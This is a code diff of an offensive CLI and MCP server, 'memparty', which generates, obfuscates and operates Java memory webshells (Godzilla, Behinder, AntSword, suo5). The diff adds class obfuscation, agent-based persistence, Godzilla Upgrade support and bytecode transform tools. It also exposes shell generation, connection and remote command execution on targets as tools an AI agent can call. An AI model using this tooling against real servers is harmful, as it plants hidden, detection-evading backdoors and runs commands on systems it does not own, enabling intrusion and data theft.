   ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
-    new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
+    new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
   ).option(
     "--header-name <name>",
     "gate header name reported by gen (shellToolConfig.headerName)"
   ).option(
     "--header-value <value>",
     "gate header value reported by gen (shellToolConfig.headerValue)"
-  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
+  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
     "after",
     `
 Examples:
@@ -3183,7 +3891,8 @@ the OS inside its payload, so --os does not apply.
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders2(opts.header),
         insecure: opts.insecure,
-        profile: opts.profile
+        profile: opts.profile,
+        upgradeProtocol: opts.upgradeProtocol
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -3195,7 +3904,8 @@ the OS inside its payload, so --os does not apply.
       headerValue: conn.headerValue,
       extraHeaders: conn.extraHeaders,
       timeoutMs,
-      insecure: conn.insecure
+      insecure: conn.insecure,
+      upgradeProtocol: conn.upgradeProtocol
     };
     let result;
     try {
@@ -3254,43 +3964,8 @@ the OS inside its payload, so --os does not apply.
 }
 
 // src/commands/gen.ts
-import { readFileSync as readFileSync7 } from "fs";
-import { Option as Option3 } from "commander";
-
-// src/core/output.ts
-import { writeFileSync as writeFileSync4 } from "fs";
-var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
-function hasBinaryExtension(path) {
-  const lower = path.toLowerCase();
-  return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
-}
-function shouldDecode(opts) {
-  if (opts.decode !== void 0) return opts.decode;
-  if (opts.outFile) return hasBinaryExtension(opts.outFile);
-  return false;
-}
-function emitPayload(payload, opts, sinks = {}) {
-  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
-  const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
-  const decoded = shouldDecode(opts);
-  if (opts.outFile) {
-    if (decoded) {
-      const buf = Buffer.from(payload, "base64");
-      writeFile(opts.outFile, buf);
-      return { destination: opts.outFile, size: buf.length, decoded: true };
-    }
-    writeFile(opts.outFile, payload);
-    return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
-  }
-  if (decoded) {
-    const buf = Buffer.from(payload, "base64");
-    writeStdout(buf.toString("binary"));
-    return { destination: "stdout", size: buf.length, decoded: true };
-  }
-  writeStdout(payload.endsWith("\n") ? payload : `${payload}
-`);
-  return { destination: "stdout", size: payload.length, decoded: false };
-}
+import { readFileSync as readFileSync8 } from "fs";
+import { Option as Option4 } from "commander";
 
 // src/core/request-builder.ts
 import { randomInt as randomInt3 } from "crypto";
@@ -3324,16 +3999,16 @@ function buildMemShellRequest(opts) {
       byPassJavaModule: opts.byPassJavaModule,
       shrink: opts.shrink,
       lambdaSuffix: opts.lambdaSuffix,
-      probe: opts.probe
+      probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
+      obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
+      obfuscationScope: opts.obfuscationScope
     },
     shellToolConfig: {
       shellClassName: opts.shellClassName,
-      godzillaPass: opts.godzillaPass,
-      godzillaKey: opts.godzillaKey,
-      commandParamName: opts.commandParamName,
-      commandTemplate: opts.commandTemplate,
-      behinderPass: opts.behinderPass,
-      antSwordPass: opts.antSwordPass,
+      pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
+      key: opts.godzillaKey,
+      paramName: opts.commandParamName,
+      template: opts.commandTemplate,
       headerName: opts.headerName,
       headerValue: opts.headerValue,
       shellClassBase64: opts.shellClassBase64,
@@ -3359,7 +4034,8 @@ function buildProbeRequest(opts) {
       byPassJavaModule: opts.byPassJavaModule,
       shrink: opts.shrink,
       staticInitialize: opts.staticInitialize,
-      lambdaSuffix: opts.lambdaSuffix
+      lambdaSuffix: opts.lambdaSuffix,
+      obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
     },
     probeContentConfig: {
       host: opts.host,
@@ -3367,15 +4043,27 @@ function buildProbeRequest(opts) {
       sleepServer: opts.sleepServer,
       server: opts.server,
       reqParamName: opts.reqParamName,
-      commandTemplate: opts.commandTemplate
+      commandTemplate: opts.commandTemplate,
+      respHeaderName: opts.respHeaderName
     },
     packer: opts.packer
   };
 }
 
+// src/core/agent.ts
+function supportsAgentLoadArguments(shellType, packer) {
+  return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
+}
+function agentLoadExamples(agentArgs) {
+  return [
+    `java -jar agent.jar <pid> ${agentArgs}`,
+    `jattach <pid> load instrument false agent.jar=${agentArgs}`
+  ];
+}
+
 // src/wizard/memshell-wizard.ts
-import { readFileSync as readFileSync6 } from "fs";
-import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
+import { readFileSync as readFileSync7 } from "fs";
+import { checkbox, confirm, input, select } from "@inquirer/prompts";
 var JDK_CHOICES = [
   { name: "server default", value: "" },
   ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
@@ -3383,17 +4071,6 @@ var JDK_CHOICES = [
     value: name
   }))
 ];
-function packerChoices(tree) {
-  const choices = [];
-  for (const parent of tree) {
-    choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
-    choices.push({ name: parent.name, value: parent.name });
-    for (const child of parent.children) {
-      choices.push({ name: `  ${child}`, value: child });
-    }
-  }
-  return choices;
-}
 async function runMemShellWizard(client) {
   const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
   const server = await select({
@@ -3409,13 +4086,19 @@ async function runMemShellWizard(client) {
     message: "Shell type",
     choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
   });
-  const packer = await select({
-    message: "Packer",
-    choices: packerChoices(packerTree)
+  const category = await select({
+    message: "Packer category",
+    choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
   });
+  const selected = packerTree.find((packer2) => packer2.name === category);
+  const packer = selected.children.length ? await select({
+    message: "Packer variant",
+    choices: selected.children.map((name) => ({ name, value: name }))
+  }) : category;
   const opts = { server, shellTool, shellType, packer };
   switch (shellTool) {
     case "Godzilla":
+    case "GodzillaSession":
       opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
       opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
       break;
@@ -3442,7 +4125,7 @@ async function runMemShellWizard(client) {
     }
     case "Custom": {
       const file = await input({ message: "Path to custom .class file" });
-      opts.shellClassBase64 = readFileSync6(file).toString("base64");
+      opts.shellClassBase64 = readFileSync7(file).toString("base64");
       break;
     }
     default:
@@ -3463,7 +4146,8 @@ async function runMemShellWizard(client) {
       { name: "static initialize", value: "staticInitialize", checked: true },
       { name: "bypass Java module", value: "byPassJavaModule" },
       { name: "lambda suffix", value: "lambdaSuffix" },
-      { name: "debug", value: "debug" }
+      { name: "debug", value: "debug" },
+      { name: "class obfuscation (v3+)", value: "obfuscate" }
     ]
   });
   opts.shrink = toggles.includes("shrink");
@@ -3471,6 +4155,7 @@ async function runMemShellWizard(client) {
   opts.byPassJavaModule = toggles.includes("byPassJavaModule");
   opts.lambdaSuffix = toggles.includes("lambdaSuffix");
   opts.debug = toggles.includes("debug");
+  opts.obfuscate = toggles.includes("obfuscate");
   const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
   if (!confirmed) {
     throw new Error("Cancelled by user.");
@@ -3483,7 +4168,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
 function toOptions(o) {
   let shellClassBase64 = o.shellClassBase64;
   if (o.shellClassFile) {
-    shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
+    shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
   }
   return {
     server: o.server,
@@ -3497,6 +4182,9 @@ function toOptions(o) {
     shrink: o.shrink,
     lambdaSuffix: o.lambdaSuffix,
     probe: o.probe,
+    obfuscate: o.obfuscate,
+    obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
+    obfuscationScope: o.obfuscationScope,
     shellClassName: o.shellClassName,
     godzillaPass: o.godzillaPass,
     godzillaKey: o.godzillaKey,
@@ -3515,7 +4203,14 @@ function toOptions(o) {
   };
 }
 function registerGenCommand(program) {
-  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
+    new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
+      "ALL",
+      "MEMSHELL_INJECTOR",
+      "INJECTOR",
+      "MEMSHELL"
+    ])
+  ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
     "after",
     `
 Examples:
@@ -3527,12 +4222,14 @@ Examples:
   $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
       --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
   $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
+  $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
 
 Note: run 'memparty config' to list the available servers, tools, shell
-types and packers. Some packers (e.g. Base64) are aggregate packers that
-return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
-for a single payload. The --json output includes the gate header
-(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
+types and packers. On v3, parent packers are categories \u2014 pick a concrete
+variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
+support aggregate packers, but -o cannot write several variants to one file.
+The --json output includes the gate header (shellToolConfig) you need for
+'memparty connect' / 'memparty exec'.
 `
   ).action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
@@ -3551,6 +4248,12 @@ for a single payload. The --json output includes the gate header
       memOpts = toOptions(opts);
     }
     const request = buildMemShellRequest(memOpts);
+    const { agentArgs } = opts;
+    if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
+      throw new Error(
+        "--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
+      );
+    }
     const genMeta = {
       server: memOpts.server,
       serverVersion: memOpts.serverVersion,
@@ -3583,14 +4286,25 @@ for a single payload. The --json output includes the gate header
       meta: genMeta
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(response, null, 2)}
+      const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
+      const doc = {
+        ...response,
+        ...outputFile === void 0 ? {} : { outputFile },
+        ...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
+      };
+      process.stdout.write(`${JSON.stringify(doc, null, 2)}
 `);
       return;
     }
     const r = response.memShellResult;
     logInfo(`shell class:    ${r.shellClassName} (${r.shellSize} bytes)`);
     logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
-    if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    if (hasMultiplePackResults(response)) {
+      if (opts.output !== void 0) {
+        throw new Error(
+          `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+        );
+      }
       for (const [name, value] of Object.entries(response.allPackResults)) {
         logInfo(`
 === ${name} ===`);
@@ -3599,24 +4313,24 @@ for a single payload. The --json output includes the gate header
       }
       return;
     }
-    if (response.packResult === void 0) {
-      throw new Error("Server returned no packResult.");
-    }
-    const result = emitPayload(response.packResult, {
+    const result = emitSinglePackResult(response, {
       outFile: opts.output,
       decode: opts.decode
     });
     if (result.destination !== "stdout") {
       logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
     }
+    if (agentArgs !== void 0) {
+      for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
+    }
   });
 }
 
 // src/commands/log.ts
-import { Option as Option4 } from "commander";
+import { Option as Option5 } from "commander";
 function registerLogCommand(program) {
   program.command("log").description("Show the global operation log").addOption(
-    new Option4("--category <name>", "filter by operation category").choices([
+    new Option5("--category <name>", "filter by operation category").choices([
       "gen",
       "probe",
       "connect",
@@ -3671,7 +4385,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
 import { z } from "zod";
 
 // src/core/localfile.ts
-import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
+import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
 import { dirname as dirname3, join as join6, resolve } from "path";
 var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
 function remoteBasename(remotePath) {
@@ -3727,7 +4441,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
       `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
     );
   }
-  return readFileSync8(localPath);
+  return readFileSync9(localPath);
 }
 
 // src/version.ts
@@ -3760,12 +4474,15 @@ var memShellInput = {
   shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
   shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
   packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
-  jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
+  jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
   debug: z.boolean().optional(),
   byPassJavaModule: z.boolean().optional(),
   shrink: z.boolean().optional(),
   lambdaSuffix: z.boolean().optional(),
   probe: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
+  obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
   shellClassName: z.string().optional(),
   godzillaPass: z.string().optional(),
   godzillaKey: z.string().optional(),
@@ -3780,17 +4497,23 @@ var memShellInput = {
   shellClassBase64: z.string().optional(),
   urlPattern: z.string().optional(),
   injectorClassName: z.string().optional(),
-  staticInitialize: z.boolean().optional()
+  staticInitialize: z.boolean().optional(),
+  agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
+  outputFile: z.string().optional().describe(
+    "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
+  )
 };
 var probeInput = {
-  probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
-  probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
+  probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
+  probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
   packer: z.string(),
   jdk: z.string().optional(),
   debug: z.boolean().optional(),
   byPassJavaModule: z.boolean().optional(),
   shrink: z.boolean().optional(),
   lambdaSuffix: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: memShellInput.obfuscationOptions,
   staticInitialize: z.boolean().optional(),
   shellClassName: z.string().optional(),
   host: z.string().optional(),
@@ -3798,7 +4521,31 @@ var probeInput = {
   sleepServer: z.string().optional(),
   server: z.string().optional(),
   reqParamName: z.string().optional(),
-  commandTemplate: z.string().optional()
+  commandTemplate: z.string().optional(),
+  respHeaderName: z.string().optional(),
+  outputFile: memShellInput.outputFile
+};
+var bytecodeInput = {
+  classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
+  outputFile: z.string().optional().describe("also write the transformed class to this local file")
+};
+var bytecodeTransformInput = {
+  ...bytecodeInput,
+  packer: z.string().optional(),
+  byPassJavaModule: z.boolean().optional(),
+  staticInitialize: z.boolean().optional(),
+  shrink: z.boolean().optional(),
+  renamePackage: z.boolean().optional(),
+  relocateFrom: z.string().optional(),
+  relocateTo: z.string().optional(),
+  entryMethod: z.string().optional(),
+  newClassName: z.string().optional(),
+  randomName: z.boolean().optional(),
+  obfuscate: z.boolean().optional(),
+  obfuscationOptions: memShellInput.obfuscationOptions,
+  server: z.string().optional(),
+  probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
+  respHeaderName: z.string().optional()
 };
 var connectInput = {
   name: z.string().optional().describe(
@@ -3812,7 +4559,8 @@ var connectInput = {
   headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
   suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
-  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
+  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
 };
 var execInput = {
   name: z.string().optional().describe(
@@ -3829,7 +4577,8 @@ var execInput = {
   headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
   headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
-  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
+  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
 };
 var transferConnInput = {
   name: execInput.name,
@@ -3841,6 +4590,7 @@ var transferConnInput = {
   headerValue: execInput.headerValue,
   insecure: execInput.insecure,
   timeoutMs: execInput.timeoutMs,
+  upgradeProtocol: execInput.upgradeProtocol,
   remoteCharset: z.string().optional().describe(
     "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
   )
@@ -3868,12 +4618,82 @@ var targetSaveInput = {
   headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
   headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
   insecure: z.boolean().optional().describe("skip TLS certificate verification"),
+  upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
   projectRemark: z.string().optional().describe("project remark (merged into the project)"),
   projectCategory: z.string().optional().describe("project category (merged into the project)"),
   shellRemark: z.string().optional().describe("remark for this shell")
 };
 function createMcpServer(client) {
   const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
+  server.registerTool(
+    "bytecode_decode",
+    {
+      title: "Decode Java class",
+      description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
+      inputSchema: bytecodeInput
+    },
+    async (args) => {
+      try {
+        const result = await client.decodeBytecode(args.classBytesBase64);
+        const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
+          { packResult: result.classBytesBase64Str },
+          { outFile: args.outputFile, decode: true }
+        );
+        return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
+  server.registerTool(
+    "bytecode_transform",
+    {
+      title: "Transform Java class",
+      description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
+      inputSchema: bytecodeTransformInput
+    },
+    async (args) => {
+      try {
+        const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
+        if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
+          throw new Error("Package relocation requires relocateFrom and relocateTo.");
+        }
+        const {
+          outputFile: outputPath,
+          obfuscate: _obfuscate,
+          obfuscationOptions,
+          probeMethod,
+          server: server2,
+          respHeaderName,
+          ...fields
+        } = args;
+        const request = {
+          obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
+          ...probeMethod === void 0 ? {} : {
+            server: server2 ?? "Unknown",
+            probe: {
+              probeMethod,
+              probeContent: "Bytecode",
+              respHeaderName
+            }
+          }
+        };
+        const result = await client.transformBytecode({
+          classBytesBase64: args.classBytesBase64,
+          ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
+          ...renamePackage ? { renamePackage } : {},
+          ...request
+        });
+        const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
+          { packResult: result.packResult ?? result.classBytesBase64Str },
+          { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
+        );
+        return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
   server.registerTool(
     "list_servers",
     { title: "List servers", description: "List supported servers and their shell types" },
@@ -3924,9 +4744,41 @@ function createMcpServer(client) {
       }
     }
   );
+  server.registerTool(
+    "list_shell_tool_configs",
+    {
+      title: "List shell tool configs",
+      description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
+    },
+    async () => {
+      try {
+        return jsonContent(await client.getShellToolConfigs());
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
+  server.registerTool(
+    "list_obfuscation_options",
+    {
+      title: "List obfuscation options",
+      description: "List class obfuscation option keys, defaults and valid values (v3+)"
+    },
+    async () => {
+      try {
+        return jsonContent(await client.getObfuscationOptions());
+      } catch (err) {
+        return errorContent(err);
+      }
+    }
+  );
   server.registerTool(
     "generate_memshell",
-    { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
+    {
+      title: "Generate memory shell",
+      description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: memShellInput
+    },
     async (args) => {
       const meta = {
         server: args.server,
@@ -3938,7 +4790,18 @@ function createMcpServer(client) {
       };
       const started = Date.now();
       try {
-        const response = await client.generateMemShell(buildMemShellRequest(args));
+        if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
+          throw new Error(
+            "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
+          );
+        }
+        const response = await client.generateMemShell(
+          buildMemShellRequest({
+            ...args,
+            obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
+          })
+        );
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "gen",
           action: "gen",
@@ -3947,7 +4810,14 @@ function createMcpServer(client) {
           detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent({
+          ...response,
+          ...outputFile === void 0 ? {} : { outputFile },
+          ...args.agentArgs === void 0 ? {} : {
+            agentArgs: args.agentArgs,
+            agentLoadExamples: agentLoadExamples(args.agentArgs)
+          }
+        });
       } catch (err) {
         logOp({
           category: "gen",
@@ -3963,7 +4833,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_probe",
-    { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
+    {
+      title: "Generate probe shell",
+      description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: probeInput
+    },
     async (args) => {
       const meta = {
         probeMethod: args.probeMethod,
@@ -3973,7 +4847,13 @@ function createMcpServer(client) {
       };
       const started = Date.now();
       try {
-        const response = await client.generateProbe(buildProbeRequest(args));
+        const response = await client.generateProbe(
+          buildProbeRequest({
+            ...args,
+            obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
+          })
+        );
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "probe",
           action: "probe",
@@ -3982,7 +4862,7 @@ function createMcpServer(client) {
           detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "probe",
@@ -4038,29 +4918,19 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
-            break;
-          case "behinder":
-            result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
-            break;
-          case "suo5":
-            result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
-            break;
-          default:
-            throw new Error(`unknown tool ${String(conn.tool)}`);
-        }
+        const options = { suo5Mode: args.suo5Mode };
+        const result = await requireProtocol(conn.tool).test({ conn, common, options });
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -4099,32 +4969,20 @@ function createMcpServer(client) {
           key: args.key,
